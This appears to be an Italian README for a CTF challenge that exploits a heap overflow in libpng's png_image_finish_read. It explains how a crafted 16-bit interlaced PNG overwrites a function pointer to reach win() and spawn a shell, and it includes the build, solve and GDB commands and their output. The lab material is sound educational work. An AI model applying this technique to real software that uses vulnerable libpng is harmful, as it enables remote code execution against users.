
CTF challenge che sfrutta un heap overflow in `png_image_finish_read` di libpng per sovrascrivere un puntatore a funzione e ottenere una shell, con script di build e generatore di exploit.
Questa challenge è basata su una vulnerabilità reale di buffer overflow in libpng (in particolare riguardante l'API semplificata png_image_finish_read nella gestione di immagini interlacciate a 16 bit).
Ti viene fornito un binario vulnerabile victim che utilizza una versione di libpng collegata staticamente e vulnerabile. L'applicazione legge un file PNG chiamato exploit.png in un buffer.
Il tuo obiettivo è creare un file PNG dannoso che inneschi un heap overflow per sovrascrivere un puntatore a funzione nella struttura Logger (posizionata immediatamente dopo il buffer dell'immagine), reindirizzando l'esecuzione alla funzione win() per ottenere una shell.
Prerequisiti: gcc, make, python3, git, autoconf, automake, libtool.
Clona il repository:
git clone --recursive https://github.com/bohemian-miser/CVE-2025-65018_Exploit_Challenge.git
cd CVE-2025-65018_Exploit_Challenge
Compila la challenge (inclusa libpng vulnerabile):
./build.sh
Questo script:
libpng incluso per abilitare la vulnerabilità.libpng.victim.La vulnerabilità esiste nel modo in cui libpng gestisce le immagini interlacciate durante la conversione da input a 16 bit a output a 8 bit.
PNG_FORMAT_RGBA). libpng alloca un buffer di dimensioni sufficienti per dati a 8 bit.png_combine_row scrive erroneamente i dati utilizzando la profondità di bit dell'input a 16 bit nel buffer di output.Il binario contiene una funzione helper win() che chiama execl("/bin/sh", ...). Abbiamo bisogno del suo indirizzo. Poiché il binario è compilato con -no-pie, gli indirizzi sono statici.
nm victim | grep win
# Output: 00000000004013e0 T win
Indirizzo Target: 0x4013e0
solve.py)Dobbiamo creare un PNG valido che:
IHDR) che specifichi profondità a 16 bit.win).Lo script solve.py fa questo:
Logger (che è 4096 byte dopo l'inizio del buffer).win nei dati pixel dell'ultima riga.IDAT.Layout del Payload:
L'indirizzo di win 0x4013e0 (Little Endian: E0 13 40 00 ...) deve essere codificato in pixel RGB a 16 bit.
Genera il PNG malevolo:
python3 solve.py 4013e0
Questo crea exploit.png.
Esegui il victim:
./victim
Output Previsto:
[*] Win function is at: 0x4013e0
[*] Buffer at: 0x7ffd51353530
[*] Logger at: 0x7ffd51354530
[*] Offset from buffer start to logger: 4096 bytes
[*] Processing image...
[+] png_image_finish_read success
[*] Calling logger...
[*] Hacked! Spawning shell...
$
Per vedere l'overflow in azione, puoi usare GDB.
1. Interrompi prima della chiamata vulnerabile:
break 62
run
2. Osserva la sovrascrittura:
La struttura Logger è all'offset 4096. Osserviamo il puntatore a funzione target.
print &ctx.logger.log_func
# $1 = (void (**)(const char *)) 0x7fffffffc8f0
watch *0x7fffffffc8f0
continue
3. Innesca:
GDB si fermerà quando png_combine_row scriverà sul puntatore a funzione.
Hardware watchpoint 2: *0x7fffffffc8f0
Old value = 4199366 (0x4013c6 <normal_log>)
New value = 4199392 (0x4013e0 <win>)
0x00007ffff7e024d9 in __memcpy_avx_unaligned_erms ()
Questo conferma che libpng ha sovrascritto il nostro puntatore con l'indirizzo di win!
victim.c: Codice sorgente vulnerabile.solve.py: Generatore dell'exploit.libpng-src/: Codice sorgente di libpng (v1.6.37).build.sh: Script per compilare tutto.Makefile: Sistema di build per il binario victim.